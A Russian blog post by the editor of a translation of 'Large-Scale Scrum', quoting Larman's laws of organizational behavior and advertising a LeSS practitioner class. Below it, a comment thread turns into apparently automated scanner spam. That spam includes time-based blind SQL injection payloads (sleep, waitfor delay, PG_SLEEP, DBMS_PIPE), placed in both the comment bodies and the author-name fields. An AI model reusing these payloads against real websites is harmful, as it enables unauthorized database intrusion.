Мне выпала огромная честь выступить редактором русского издания недавно вышедшей книги по LeSS "Large-Scale Scrum".
Кроме того, что я давно хотел перечитать книгу полностью, а не частями и помочь с ее адаптацией на наш рынок, сам проект выдается очень увлекательным. Я не только редактирую текст, с точки зрения LeSS, я правлю перевод, пытаясь найти в русском адекватные переводы таких терминов как к примеру: "cross-functional cross-component end-to-end colocated feature team".
Пожелайте мне удачи с этим!
Сегодня дошел до законов Лармана из главы про Внедрение, не могу не поделиться:
Законы Организационного Поведения Лармана гласят следующее:
- Организации неявно оптимизированы, чтобы избежать изменения существующего порядка вещей (статус-кво), сложившегося среди руководителей среднего и нижнего звена, в должностях узких
специалистов и во властных структурах.
- Как следствие из первого закона: любая инициатива внедрения изменений будет сведена к переопределению или перегрузке новой терминологии, которая будет, по существу, обозначать то же самое что
и существовавший статус-кво.
- Как следствие из первого закона: любая инициатива внедрения изменений будет осмеяна как “пуристская”, “теоретическая”, “революционная” и “требующая прагматичной адаптации под локальные
потребности”, что отвлечет внимание от устранения слабостей в сложившем порядке вещей среди руководителей и специалистов.
- Культура следует за структурой.
Предвосхищая ваши мысли, следует также сказать, что и структура следует за культурой, особенно в молодых компаниях - стартапах. Но это утверждение имеет скорее поэтически емкое, чем буквальное значение.
Внедрение LeSS
LeSS внедряется в крупных организация, в которых обычно сосредоточено много умов с глубоко укорененными представлениями о том, как должны работать организации, и как нет. Для успешного внедрения LeSS требуются ломка подобных представлений и упрощение организационной структуры, которая как правило включает много избыточных унаследованных правила, вытеснивших нормальные человеческие отношения - все то, что встречается в работе больших групп. Внедрение LeSS требует, чтобы каждый начал совершенствоваться, стремясь к общей цели.
...
При масштабировании следует придерживаться такого принципа внедрения: непрерывное улучшение до полного совершенства.
...
Так при внедрении LeSS отсутствует как инициатива изменения, так и группа и менеджеры по реализации изменений. Изменения в LeSS происходят постоянно посредством экспериментирования и совершенствования, и сами изменения являются новым порядком вещей.
Не пропустите Certified LeSS Practitioner (CLP)
Класс Certified LeSS Practitioner рассматривает вопросы применения Scrum в многокомандных организациях: 3 - 103 команды, работающих над созданием и поддержкой одного продукта.
Основной вопрос в таком контексте не в том, как смасштабировать Скрам (хотя, это важно). Сутевой вопрос в том - как упростить дизайн организации, чтобы управлять разработкой в таком масштабе без лишних ролей, раздутой иерархии, избыточной координации. More with LeSS!
Так что по сути, это мастер-класс по организационному дизайну и системному мышлению.
Конечно же будут детально рассмотрены каркасы Large-Scale Scrum (LeSS и LeSS Huge). Вопросы внедрения этих каркасов и вопросы поэтапного перевода текущих иерархий и структур компаний на LeSS.
Write a comment
Олег (Tuesday, 13 March 2018 07:09)
А когда и где книга выйдет на русском?
Alexey (Tuesday, 13 March 2018 12:00)
Честно - сам не знаю.
Олег (Tuesday, 13 March 2018 17:51)
:(
Вроде год назад перевод уже редактировался? Или желавшее издать издательство отказалось от планов?
Alexey Krivitsky (Tuesday, 13 March 2018 18:42)
Я сделал, что мог. Перевод был ужасный. Дальше они пропали.
Но, думаю, в этом году книга выйдет так или иначе.
Жаль, конечно.
Айжан (Friday, 21 June 2019 13:13)
Добрый день!
Книга вышла? Что-то не могу найти в интернете(
ZMskyuza (Wednesday, 26 October 2022 17:09)
20
ZMskyuza (Wednesday, 26 October 2022 17:31)
20
ZMskyuza (Wednesday, 26 October 2022 17:44)
20
ZMskyuza (Wednesday, 26 October 2022 18:01)
20
ZMskyuza (Wednesday, 26 October 2022 18:07)
20
ZMskyuza (Wednesday, 26 October 2022 18:08)
20
ZMskyuza (Wednesday, 26 October 2022 18:09)
20
ZMskyuza (Wednesday, 26 October 2022 18:10)
20
ZMskyuza (Wednesday, 26 October 2022 18:11)
20
ZMskyuza (Wednesday, 26 October 2022 18:11)
20
ZMskyuza (Wednesday, 26 October 2022 18:12)
20
ZMskyuza (Wednesday, 26 October 2022 18:13)
20
ZMskyuza (Wednesday, 26 October 2022 18:14)
20
ZMskyuza (Wednesday, 26 October 2022 18:15)
20
ZMskyuza (Wednesday, 26 October 2022 18:16)
20
ZMskyuza (Wednesday, 26 October 2022 18:16)
20
ZMskyuza (Wednesday, 26 October 2022 18:17)
20
ZMskyuza (Wednesday, 26 October 2022 18:18)
20
ZMskyuza (Wednesday, 26 October 2022 18:19)
20
ZMskyuza (Wednesday, 26 October 2022 18:20)
20
ZMskyuza (Wednesday, 26 October 2022 18:21)
20
ZMskyuza (Wednesday, 26 October 2022 18:22)
20
ZMskyuza (Wednesday, 26 October 2022 18:23)
20
ZMskyuza (Wednesday, 26 October 2022 18:23)
20
ZMskyuza (Wednesday, 26 October 2022 18:25)
if(now()=sysdate(),sleep(15),0)
ZMskyuza (Wednesday, 26 October 2022 18:26)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza (Wednesday, 26 October 2022 18:27)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza (Wednesday, 26 October 2022 18:28)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza (Wednesday, 26 October 2022 18:28)
-1; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 18:29)
-1); waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 18:30)
1 waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 18:31)
S3GWbna4'; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 18:32)
-5 OR 319=(SELECT 319 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 18:33)
-5) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 18:34)
-1)) OR 818=(SELECT 818 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 18:35)
iDuFNbUt' OR 492=(SELECT 492 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 18:36)
udE3vvRD') OR 637=(SELECT 637 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 18:37)
GVFXAzSD')) OR 610=(SELECT 610 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 18:38)
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza (Wednesday, 26 October 2022 18:39)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza (Wednesday, 26 October 2022 18:40)
20
ZMskyuza (Wednesday, 26 October 2022 18:41)
20
ZMskyuza (Wednesday, 26 October 2022 18:42)
20
ZMskyuza (Wednesday, 26 October 2022 18:43)
20
ZMskyuza (Wednesday, 26 October 2022 18:44)
20
ZMskyuza (Wednesday, 26 October 2022 18:45)
20
ZMskyuza (Wednesday, 26 October 2022 18:46)
20
ZMskyuza (Wednesday, 26 October 2022 18:47)
20
ZMskyuza (Wednesday, 26 October 2022 18:48)
20
ZMskyuza (Wednesday, 26 October 2022 18:49)
20
ZMskyuza (Wednesday, 26 October 2022 18:50)
20
ZMskyuza (Wednesday, 26 October 2022 18:51)
20
ZMskyuza (Wednesday, 26 October 2022 18:52)
20
ZMskyuza (Wednesday, 26 October 2022 18:53)
20
ZMskyuza (Wednesday, 26 October 2022 18:54)
20
ZMskyuza (Wednesday, 26 October 2022 18:55)
20
ZMskyuza (Wednesday, 26 October 2022 18:56)
20
ZMskyuza (Wednesday, 26 October 2022 18:57)
20
ZMskyuza (Wednesday, 26 October 2022 18:58)
20
ZMskyuza (Wednesday, 26 October 2022 18:59)
20
ZMskyuza (Wednesday, 26 October 2022 19:00)
20
ZMskyuza (Wednesday, 26 October 2022 19:01)
20
ZMskyuza (Wednesday, 26 October 2022 19:02)
20
ZMskyuza (Wednesday, 26 October 2022 19:03)
20
ZMskyuza (Wednesday, 26 October 2022 19:04)
20
ZMskyuza (Wednesday, 26 October 2022 19:05)
20
ZMskyuza (Wednesday, 26 October 2022 19:06)
20
ZMskyuza (Wednesday, 26 October 2022 19:06)
20
ZMskyuza (Wednesday, 26 October 2022 19:07)
20
ZMskyuza (Wednesday, 26 October 2022 19:08)
20
ZMskyuza (Wednesday, 26 October 2022 19:09)
20
ZMskyuza (Wednesday, 26 October 2022 19:10)
20
ZMskyuza (Wednesday, 26 October 2022 19:28)
20
ZMskyuza (Wednesday, 26 October 2022 19:29)
20
if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 19:30)
20
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 19:31)
20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 19:31)
20
1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 19:33)
20
3dKGOR6P'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 19:34)
20
rBkgjtHl' OR 320=(SELECT 320 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 19:35)
20
WRvj48WK') OR 502=(SELECT 502 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 19:36)
20
IK8d8ud4')) OR 581=(SELECT 581 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 19:36)
20
ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 19:37)
20
ZMskyuza (Wednesday, 26 October 2022 19:38)
20
ZMskyuza (Wednesday, 26 October 2022 19:39)
20
ZMskyuza (Wednesday, 26 October 2022 19:40)
20
ZMskyuza (Wednesday, 26 October 2022 19:41)
20
ZMskyuza (Wednesday, 26 October 2022 19:42)
20
ZMskyuza (Wednesday, 26 October 2022 19:43)
20
ZMskyuza (Wednesday, 26 October 2022 19:44)
20
ZMskyuza (Wednesday, 26 October 2022 19:45)
20
ZMskyuza (Wednesday, 26 October 2022 19:45)
20
ZMskyuza (Wednesday, 26 October 2022 19:47)
20
ZMskyuza (Wednesday, 26 October 2022 19:48)
20
ZMskyuza (Wednesday, 26 October 2022 19:49)
20
ZMskyuza (Wednesday, 26 October 2022 19:49)
20
ZMskyuza (Wednesday, 26 October 2022 19:51)
20
ZMskyuza (Wednesday, 26 October 2022 19:52)
20
ZMskyuza (Wednesday, 26 October 2022 19:52)
20
ZMskyuza (Wednesday, 26 October 2022 19:53)
20
ZMskyuza (Wednesday, 26 October 2022 19:54)
20
ZMskyuza (Wednesday, 26 October 2022 19:55)
20
ZMskyuza (Wednesday, 26 October 2022 19:56)
20
ZMskyuza (Wednesday, 26 October 2022 19:57)
20
ZMskyuza (Wednesday, 26 October 2022 19:58)
20
ZMskyuza (Wednesday, 26 October 2022 19:59)
20
ZMskyuza (Wednesday, 26 October 2022 20:00)
20
ZMskyuza (Wednesday, 26 October 2022 20:01)
20
ZMskyuza (Wednesday, 26 October 2022 20:01)
20
ZMskyuza (Wednesday, 26 October 2022 20:02)
20
ZMskyuza (Wednesday, 26 October 2022 20:03)
20
ZMskyuza (Wednesday, 26 October 2022 20:04)
20
ZMskyuza (Wednesday, 26 October 2022 20:04)
20
ZMskyuza (Wednesday, 26 October 2022 20:05)
20
ZMskyuza (Wednesday, 26 October 2022 20:06)
20
ZMskyuza (Wednesday, 26 October 2022 20:07)
20
ZMskyuza (Wednesday, 26 October 2022 20:07)
20
ZMskyuza (Wednesday, 26 October 2022 20:08)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 20:09)
20
ZMskyuza (Wednesday, 26 October 2022 20:10)
20
ZMskyuza (Wednesday, 26 October 2022 20:11)
20
ZMskyuza (Wednesday, 26 October 2022 20:11)
20
ZMskyuza (Wednesday, 26 October 2022 20:12)
20
ZMskyuza (Wednesday, 26 October 2022 20:13)
20
ZMskyuza (Wednesday, 26 October 2022 20:14)
20
ZMskyuza (Wednesday, 26 October 2022 20:14)
20
ZMskyuza (Wednesday, 26 October 2022 20:15)
20
ZMskyuza (Wednesday, 26 October 2022 20:16)
20
ZMskyuza (Wednesday, 26 October 2022 20:16)
20
ZMskyuza (Wednesday, 26 October 2022 20:17)
20
ZMskyuza (Wednesday, 26 October 2022 22:46)
20
ZMskyuza (Wednesday, 26 October 2022 23:57)
20
ZMskyuza (Thursday, 27 October 2022 02:01)
20
ZMskyuza (Thursday, 27 October 2022 02:46)
20